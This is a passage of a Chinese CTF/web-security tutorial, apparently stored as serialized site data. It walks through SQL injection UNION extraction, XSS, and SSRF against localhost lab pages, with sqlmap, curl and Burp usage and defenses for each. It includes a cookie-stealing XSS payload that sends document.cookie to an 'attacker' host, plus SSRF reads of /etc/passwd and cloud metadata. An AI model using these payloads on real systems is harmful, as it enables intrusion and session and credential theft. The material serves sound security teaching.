\"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[52,13016,13017,13027,13032,13037],{"__ignoreMap":102},[106,13018,13019,13021,13023,13025],{"class":108,"line":109},[106,13020,5260],{"class":268},[106,13022,5263],{"class":1458},[106,13024,5300],{"class":272},[106,13026,5269],{"class":1458},[106,13028,13029],{"class":108,"line":115},[106,13030,13031],{"class":2583},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[106,13033,13034],{"class":108,"line":121},[106,13035,13036],{"class":2583},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[106,13038,13039],{"class":108,"line":128},[106,13040,13041],{"class":2583},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[15,13043,13044],{},"预期输出：SQL 语法错误，例如：",[97,13046,13048],{"className":13047,"code":5309,"language":215,"meta":102},[213],[52,13049,5309],{"__ignoreMap":102},[15,13051,13052],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,13054,13055],{},"输入 2：",[97,13057,13059],{"className":259,"code":13058,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[52,13060,13061,13071,13076],{"__ignoreMap":102},[106,13062,13063,13065,13067,13069],{"class":108,"line":109},[106,13064,5260],{"class":268},[106,13066,5263],{"class":1458},[106,13068,5336],{"class":272},[106,13070,5269],{"class":1458},[106,13072,13073],{"class":108,"line":115},[106,13074,13075],{"class":2583},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[106,13077,13078],{"class":108,"line":121},[106,13079,13080],{"class":2583},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,13082,1219,13083,13085],{},[52,13084,5343],{},"（条件为真，正常返回）。",[15,13087,13088],{},"输入 3：",[97,13090,13092],{"className":259,"code":13091,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[52,13093,13094,13104,13109],{"__ignoreMap":102},[106,13095,13096,13098,13100,13102],{"class":108,"line":109},[106,13097,5260],{"class":268},[106,13099,5263],{"class":1458},[106,13101,5362],{"class":272},[106,13103,5269],{"class":1458},[106,13105,13106],{"class":108,"line":115},[106,13107,13108],{"class":2583},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[106,13110,13111],{"class":108,"line":121},[106,13112,13113],{"class":2583},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,13115,13116],{},"预期输出：空（条件为假，查不到数据）。",[15,13118,13119,13120,13122,13123,5381],{},"三个结果合起来：单引号报错、",[52,13121,5376],{}," 正常、",[52,13124,5380],{},[309,13126,13128],{"id":13127},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,13130,13131,13133],{},[316,13132,318],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,13135,13136,13138,13139,13141],{},[316,13137,385],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[52,13140,5401],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,13143,13144],{},"第一步，确定列数：",[97,13146,13148],{"className":259,"code":13147,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[52,13149,13150,13160,13165],{"__ignoreMap":102},[106,13151,13152,13154,13156,13158],{"class":108,"line":109},[106,13153,5260],{"class":268},[106,13155,5263],{"class":1458},[106,13157,5428],{"class":272},[106,13159,5269],{"class":1458},[106,13161,13162],{"class":108,"line":115},[106,13163,13164],{"class":2583},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[106,13166,13167],{"class":108,"line":121},[106,13168,13169],{"class":2583},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,13171,13172],{},"第二步，确认哪一列会回显：",[97,13174,13176],{"className":259,"code":13175,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[52,13177,13178,13188,13193,13198],{"__ignoreMap":102},[106,13179,13180,13182,13184,13186],{"class":108,"line":109},[106,13181,5260],{"class":268},[106,13183,5263],{"class":1458},[106,13185,5492],{"class":272},[106,13187,5269],{"class":1458},[106,13189,13190],{"class":108,"line":115},[106,13191,13192],{"class":2583},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[106,13194,13195],{"class":108,"line":121},[106,13196,13197],{"class":2583},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[106,13199,13200],{"class":108,"line":128},[106,13201,13202],{"class":2583},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,13204,1219,13205,13207],{},[52,13206,5499],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[15,13209,13210],{},"第三步，查数据库名：",[97,13212,13214],{"className":259,"code":13213,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[52,13215,13216,13226,13231],{"__ignoreMap":102},[106,13217,13218,13220,13222,13224],{"class":108,"line":109},[106,13219,5260],{"class":268},[106,13221,5263],{"class":1458},[106,13223,5518],{"class":272},[106,13225,5269],{"class":1458},[106,13227,13228],{"class":108,"line":115},[106,13229,13230],{"class":2583},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[106,13232,13233],{"class":108,"line":121},[106,13234,13235],{"class":2583},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,13237,1219,13238,643],{},[52,13239,1070],{},[15,13241,13242],{},"第四步，查表名：",[97,13244,13246],{"className":259,"code":13245,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[52,13247,13248,13258,13263,13268,13273],{"__ignoreMap":102},[106,13249,13250,13252,13254,13256],{"class":108,"line":109},[106,13251,5260],{"class":268},[106,13253,5263],{"class":1458},[106,13255,5542],{"class":272},[106,13257,5269],{"class":1458},[106,13259,13260],{"class":108,"line":115},[106,13261,13262],{"class":2583},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[106,13264,13265],{"class":108,"line":121},[106,13266,13267],{"class":2583},"# WHERE table_schema=database()：只筛当前库的表。\n",[106,13269,13270],{"class":108,"line":128},[106,13271,13272],{"class":2583},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[106,13274,13275],{"class":108,"line":134},[106,13276,13277],{"class":2583},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,13279,1219,13280,643],{},[52,13281,5549],{},[15,13283,13284],{},"第五步，拿 flag：",[97,13286,13288],{"className":259,"code":13287,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[52,13289,13290,13300,13305,13310],{"__ignoreMap":102},[106,13291,13292,13294,13296,13298],{"class":108,"line":109},[106,13293,5260],{"class":268},[106,13295,5263],{"class":1458},[106,13297,5606],{"class":272},[106,13299,5269],{"class":1458},[106,13301,13302],{"class":108,"line":115},[106,13303,13304],{"class":2583},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[106,13306,13307],{"class":108,"line":121},[106,13308,13309],{"class":2583},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[106,13311,13312],{"class":108,"line":128},[106,13313,13314],{"class":2583},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,13316,1219,13317,643],{},[52,13318,5613],{},[15,13320,13321],{},"说明：",[9571,13323,13324,13329,13339],{},[634,13325,13326,13328],{},[52,13327,5401],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[634,13330,13331,13334,13335,13338],{},[52,13332,13333],{},"--+","：URL 中解码后是 ",[52,13336,13337],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[634,13340,13341,13344],{},[52,13342,13343],{},"group_concat","：把多行拼成一行，方便一次性输出。",[309,13346,13348],{"id":13347},"_35-防御参数化查询","3.5 防御：参数化查询",[97,13350,13352],{"className":5027,"code":13351,"language":5029,"meta":102,"style":102},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[52,13353,13354,13358],{"__ignoreMap":102},[106,13355,13356],{"class":108,"line":109},[106,13357,6005],{},[106,13359,13360],{"class":108,"line":115},[106,13361,6010],{},[15,13363,13364,13365,13367,13368,13371],{},"此时输入 ",[52,13366,6049],{}," 只会被当作字符串 ",[52,13369,13370],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,13373,13375],{"id":13374},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,13377,13378,13380],{},[316,13379,318],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,13382,13383,13385,13386,13389,13390,13393,13394,13397],{},[316,13384,385],{},"：页面把 ",[52,13387,13388],{},"name"," 原样输出。如果我们传 ",[52,13391,13392],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[52,13395,13396],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[309,13399,13401],{"id":13400},"_41-平台与代码","4.1 平台与代码",[15,13403,13404,13405,493],{},"任意 Web 应用。示例 ",[52,13406,13407],{},"xss.php",[97,13409,13411],{"className":5027,"code":13410,"language":5029,"meta":102,"style":102},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[52,13412,13413],{"__ignoreMap":102},[106,13414,13415],{"class":108,"line":109},[106,13416,13410],{},[309,13418,13420],{"id":13419},"_42-正常请求","4.2 正常请求",[97,13422,13424],{"className":259,"code":13423,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[52,13425,13426],{"__ignoreMap":102},[106,13427,13428,13430,13432,13435],{"class":108,"line":109},[106,13429,5260],{"class":268},[106,13431,5263],{"class":1458},[106,13433,13434],{"class":272},"http://127.0.0.1:8000/xss.php?name=alice",[106,13436,5269],{"class":1458},[15,13438,1345,13439,643],{},[52,13440,13441],{},"你好，alice！",[309,13443,13445],{"id":13444},"_43-注入脚本","4.3 注入脚本",[97,13447,13449],{"className":259,"code":13448,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[52,13450,13451],{"__ignoreMap":102},[106,13452,13453,13455,13457,13460],{"class":108,"line":109},[106,13454,5260],{"class":268},[106,13456,5263],{"class":1458},[106,13458,13459],{"class":272},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[106,13461,5269],{"class":1458},[15,13463,1345],{},[97,13465,13467],{"className":6639,"code":13466,"language":6641,"meta":102,"style":102},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[52,13468,13469,13474,13483,13496,13505],{"__ignoreMap":102},[106,13470,13471],{"class":108,"line":109},[106,13472,13473],{"class":1123},"你好，\n",[106,13475,13476,13478,13481],{"class":108,"line":115},[106,13477,6648],{"class":1123},[106,13479,13480],{"class":1116},"script",[106,13482,1126],{"class":1123},[106,13484,13485,13488,13491,13493],{"class":108,"line":121},[106,13486,13487],{"class":268},"  alert",[106,13489,13490],{"class":1123},"(",[106,13492,6285],{"class":515},[106,13494,13495],{"class":1123},")\n",[106,13497,13498,13501,13503],{"class":108,"line":128},[106,13499,13500],{"class":1123},"\u003C/",[106,13502,13480],{"class":1116},[106,13504,1126],{"class":1123},[106,13506,13507],{"class":108,"line":134},[106,13508,13509],{"class":1123},"！\n",[15,13511,13512,13513,13515,13516,13518],{},"浏览器会把 ",[52,13514,13396],{}," 当作代码执行。",[52,13517,5260],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[309,13520,13522],{"id":13521},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,13524,13525],{},"攻击者构造 URL：",[97,13527,13529],{"className":6639,"code":13528,"language":6641,"meta":102,"style":102},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[52,13530,13531,13536,13544,13565],{"__ignoreMap":102},[106,13532,13533],{"class":108,"line":109},[106,13534,13535],{"class":1123},"http://127.0.0.1:8000/xss.php?name=\n",[106,13537,13538,13540,13542],{"class":108,"line":115},[106,13539,6648],{"class":1123},[106,13541,13480],{"class":1116},[106,13543,1126],{"class":1123},[106,13545,13546,13549,13551,13554,13557,13559,13562],{"class":108,"line":121},[106,13547,13548],{"class":268},"  fetch",[106,13550,13490],{"class":1123},[106,13552,13553],{"class":1458},"'",[106,13555,13556],{"class":272},"http://attacker/?c=",[106,13558,13553],{"class":1458},[106,13560,13561],{"class":1116}," +",[106,13563,13564],{"class":1123}," document.cookie)\n",[106,13566,13567,13569,13571],{"class":108,"line":128},[106,13568,13500],{"class":1123},[106,13570,13480],{"class":1116},[106,13572,1126],{"class":1123},[15,13574,13575,13576,13579],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[52,13577,13578],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[309,13581,13583],{"id":13582},"_45-防御输出编码","4.5 防御：输出编码",[15,13585,13586],{},"输出前把危险字符转义：",[19,13588,13589,13599],{},[22,13590,13591],{},[25,13592,13593,13596],{},[28,13594,13595],{},"原始字符",[28,13597,13598],{},"转义后",[38,13600,13601,13612,13624,13635,13646],{},[25,13602,13603,13607],{},[43,13604,13605],{},[52,13606,6648],{},[43,13608,13609],{},[52,13610,13611],{},"&lt;",[25,13613,13614,13619],{},[43,13615,13616],{},[52,13617,13618],{},">",[43,13620,13621],{},[52,13622,13623],{},"&gt;",[25,13625,13626,13630],{},[43,13627,13628],{},[52,13629,5903],{},[43,13631,13632],{},[52,13633,13634],{},"&quot;",[25,13636,13637,13641],{},[43,13638,13639],{},[52,13640,13553],{},[43,13642,13643],{},[52,13644,13645],{},"&#39;",[25,13647,13648,13653],{},[43,13649,13650],{},[52,13651,13652],{},"&",[43,13654,13655],{},[52,13656,13657],{},"&amp;",[15,13659,13660,13661,13664],{},"PHP 用 ",[52,13662,13663],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,13666,13668],{"id":13667},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[15,13670,13671,13673],{},[316,13672,318],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,13675,13676,493,13678,13681,13682,13685,13686,13689,13690,13693,13694,13697],{},[316,13677,385],{},[52,13679,13680],{},"file_get_contents($url)"," 会按 ",[52,13683,13684],{},"$url"," 的协议去读内容。协议决定能力：",[52,13687,13688],{},"file://"," 读本地文件，",[52,13691,13692],{},"http://"," 访问内网，",[52,13695,13696],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[309,13699,13701],{"id":13700},"_51-平台与代码","5.1 平台与代码",[15,13703,13704,13705,493],{},"具有\"URL 处理\"功能的应用。示例 ",[52,13706,13707],{},"ssrf.php",[97,13709,13711],{"className":5027,"code":13710,"language":5029,"meta":102,"style":102},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[52,13712,13713,13717,13722,13727,13732,13737],{"__ignoreMap":102},[106,13714,13715],{"class":108,"line":109},[106,13716,5173],{},[106,13718,13719],{"class":108,"line":115},[106,13720,13721],{},"echo file_get_contents($_GET['url']);\n",[106,13723,13724],{"class":108,"line":121},[106,13725,13726],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[106,13728,13729],{"class":108,"line":128},[106,13730,13731],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[106,13733,13734],{"class":108,"line":134},[106,13735,13736],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[106,13738,13739],{"class":108,"line":140},[106,13740,5211],{},[309,13742,13744],{"id":13743},"_52-读本地文件","5.2 读本地文件",[97,13746,13748],{"className":259,"code":13747,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[52,13749,13750,13761,13766,13771],{"__ignoreMap":102},[106,13751,13752,13754,13756,13759],{"class":108,"line":109},[106,13753,5260],{"class":268},[106,13755,5263],{"class":1458},[106,13757,13758],{"class":272},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[106,13760,5269],{"class":1458},[106,13762,13763],{"class":108,"line":115},[106,13764,13765],{"class":2583},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[106,13767,13768],{"class":108,"line":121},[106,13769,13770],{"class":2583},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[106,13772,13773],{"class":108,"line":128},[106,13774,13775],{"class":2583},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,13777,1219],{},[97,13779,13782],{"className":13780,"code":13781,"language":215,"meta":102},[213],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[52,13783,13781],{"__ignoreMap":102},[309,13785,13787],{"id":13786},"_53-探测内网端口","5.3 探测内网端口",[97,13789,13791],{"className":259,"code":13790,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[52,13792,13793,13804,13809,13814],{"__ignoreMap":102},[106,13794,13795,13797,13799,13802],{"class":108,"line":109},[106,13796,5260],{"class":268},[106,13798,5263],{"class":1458},[106,13800,13801],{"class":272},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[106,13803,5269],{"class":1458},[106,13805,13806],{"class":108,"line":115},[106,13807,13808],{"class":2583},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[106,13810,13811],{"class":108,"line":121},[106,13812,13813],{"class":2583},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[106,13815,13816],{"class":108,"line":128},[106,13817,13818],{"class":2583},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,13820,13821],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[309,13823,13825],{"id":13824},"_54-访问云元数据","5.4 访问云元数据",[97,13827,13829],{"className":259,"code":13828,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[52,13830,13831,13842,13847,13852],{"__ignoreMap":102},[106,13832,13833,13835,13837,13840],{"class":108,"line":109},[106,13834,5260],{"class":268},[106,13836,5263],{"class":1458},[106,13838,13839],{"class":272},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[106,13841,5269],{"class":1458},[106,13843,13844],{"class":108,"line":115},[106,13845,13846],{"class":2583},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[106,13848,13849],{"class":108,"line":121},[106,13850,13851],{"class":2583},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[106,13853,13854],{"class":108,"line":128},[106,13855,13856],{"class":2583},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,13858,13859],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[309,13861,13863],{"id":13862},"_55-防御","5.5 防御",[97,13865,13867],{"className":5027,"code":13866,"language":5029,"meta":102,"style":102},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[52,13868,13869,13874,13879,13884],{"__ignoreMap":102},[106,13870,13871],{"class":108,"line":109},[106,13872,13873],{},"$allowed = ['https', 'http'];\n",[106,13875,13876],{"class":108,"line":115},[106,13877,13878],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[106,13880,13881],{"class":108,"line":121},[106,13882,13883],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[106,13885,13886],{"class":108,"line":128},[106,13887,13888],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,13890,13892],{"id":13891},"六必学工具-1curl","六、必学工具 1：curl",[15,13894,13895],{},"三个核心功能，逐个演示。",[15,13897,13898],{},"功能 1：带参数 GET。",[97,13900,13901],{"className":259,"code":5253,"language":261,"meta":102,"style":102},[52,13902,13903],{"__ignoreMap":102},[106,13904,13905,13907,13909,13911],{"class":108,"line":109},[106,13906,5260],{"class":268},[106,13908,5263],{"class":1458},[106,13910,5266],{"class":272},[106,13912,5269],{"class":1458},[15,13914,1345,13915,643],{},[52,13916,5343],{},[15,13918,13919,13920,9440],{},"功能 2：查看完整请求与响应（",[52,13921,12601],{},[97,13923,13925],{"className":259,"code":13924,"language":261,"meta":102,"style":102},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[52,13926,13927,13939,13944,13949],{"__ignoreMap":102},[106,13928,13929,13931,13933,13935,13937],{"class":108,"line":109},[106,13930,5260],{"class":268},[106,13932,12589],{"class":515},[106,13934,5263],{"class":1458},[106,13936,5266],{"class":272},[106,13938,5269],{"class":1458},[106,13940,13941],{"class":108,"line":115},[106,13942,13943],{"class":2583},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[106,13945,13946],{"class":108,"line":121},[106,13947,13948],{"class":2583},"# \u003C 开头是响应行与响应头，最后是正文。\n",[106,13950,13951],{"class":108,"line":128},[106,13952,13953],{"class":2583},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,13955,13956,13957,13959,13960,13962],{},"输出中 ",[52,13958,13618],{}," 开头的是请求，",[52,13961,6648],{}," 开头的是响应，最下面是正文。",[15,13964,13965,13966,9440],{},"功能 3：POST 数据（",[52,13967,13968],{},"-d",[97,13970,13972],{"className":259,"code":13971,"language":261,"meta":102,"style":102},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[52,13973,13974],{"__ignoreMap":102},[106,13975,13976,13978,13981,13984,13986,13989,13991,13993,13995,13998],{"class":108,"line":109},[106,13977,5260],{"class":268},[106,13979,13980],{"class":515}," -X",[106,13982,13983],{"class":272}," POST",[106,13985,5263],{"class":1458},[106,13987,13988],{"class":272},"http://127.0.0.1:8000/login.php",[106,13990,5903],{"class":1458},[106,13992,1414],{"class":515},[106,13994,5263],{"class":1458},[106,13996,13997],{"class":272},"username=admin&password=123",[106,13999,5269],{"class":1458},[15,14001,14002],{},"用于登录、上传等需要 POST 的场景。",[10,14004,14006],{"id":14005},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,14008,14009],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[19,14011,14012,14025],{},[22,14013,14014],{},[25,14015,14016,14019,14022],{},[28,14017,14018],{},"模块",[28,14020,14021],{},"用途",[28,14023,14024],{},"操作步骤",[38,14026,14027,14042,14053],{},[25,14028,14029,14032,14035],{},[43,14030,14031],{},"Proxy",[43,14033,14034],{},"拦截请求",[43,14036,14037,14038,14041],{},"浏览器设置代理 ",[52,14039,14040],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[25,14043,14044,14047,14050],{},[43,14045,14046],{},"Repeater",[43,14048,14049],{},"手工重放",[43,14051,14052],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[25,14054,14055,14058,14061],{},[43,14056,14057],{},"Intruder",[43,14059,14060],{},"自动化遍历",[43,14062,14063],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,14065,14066],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,14068,14070],{"id":14069},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,14072,14073],{},"SQL 注入自动化工具。三个核心命令：",[15,14075,14076],{},"命令 1：检测。",[97,14078,14079],{"className":259,"code":5886,"language":261,"meta":102,"style":102},[52,14080,14081],{"__ignoreMap":102},[106,14082,14083,14085,14087,14089,14091,14093],{"class":108,"line":109},[106,14084,5893],{"class":268},[106,14086,5896],{"class":515},[106,14088,5263],{"class":1458},[106,14090,5266],{"class":272},[106,14092,5903],{"class":1458},[106,14094,5906],{"class":515},[15,14096,1468],{},[97,14098,14100],{"className":14099,"code":5912,"language":215,"meta":102},[213],[52,14101,5912],{"__ignoreMap":102},[15,14103,14104],{},"命令 2：列数据库。",[97,14106,14107],{"className":259,"code":5921,"language":261,"meta":102,"style":102},[52,14108,14109],{"__ignoreMap":102},[106,14110,14111,14113,14115,14117,14119,14121],{"class":108,"line":109},[106,14112,5893],{"class":268},[106,14114,5896],{"class":515},[106,14116,5263],{"class":1458},[106,14118,5266],{"class":272},[106,14120,5903],{"class":1458},[106,14122,5938],{"class":515},[15,14124,14125,14126,643],{},"预期输出：数据库列表，包含 ",[52,14127,1070],{},[15,14129,14130],{},"命令 3：导出数据。",[97,14132,14133],{"className":259,"code":5950,"language":261,"meta":102,"style":102},[52,14134,14135],{"__ignoreMap":102},[106,14136,14137,14139,14141,14143,14145,14147,14149,14151,14153,14155],{"class":108,"line":109},[106,14138,5893],{"class":268},[106,14140,5896],{"class":515},[106,14142,5263],{"class":1458},[106,14144,5266],{"class":272},[106,14146,5903],{"class":1458},[106,14148,5967],{"class":515},[106,14150,5970],{"class":272},[106,14152,5973],{"class":515},[106,14154,5976],{"class":272},[106,14156,5979],{"class":515},[15,14158,1219,14159,14161,14162,643],{},[52,14160,58],{}," 表内容，即 ",[52,14163,5613],{},[10,14165,14167],{"id":14166},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[15,14169,14170,14171,14174],{},"题目：登录页 ",[52,14172,14173],{},"login.php","，源码：",[97,14176,14178],{"className":5027,"code":14177,"language":5029,"meta":102,"style":102},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[52,14179,14180,14185,14190],{"__ignoreMap":102},[106,14181,14182],{"class":108,"line":109},[106,14183,14184],{},"$user = $_POST['user'];\n",[106,14186,14187],{"class":108,"line":115},[106,14188,14189],{},"$pass = 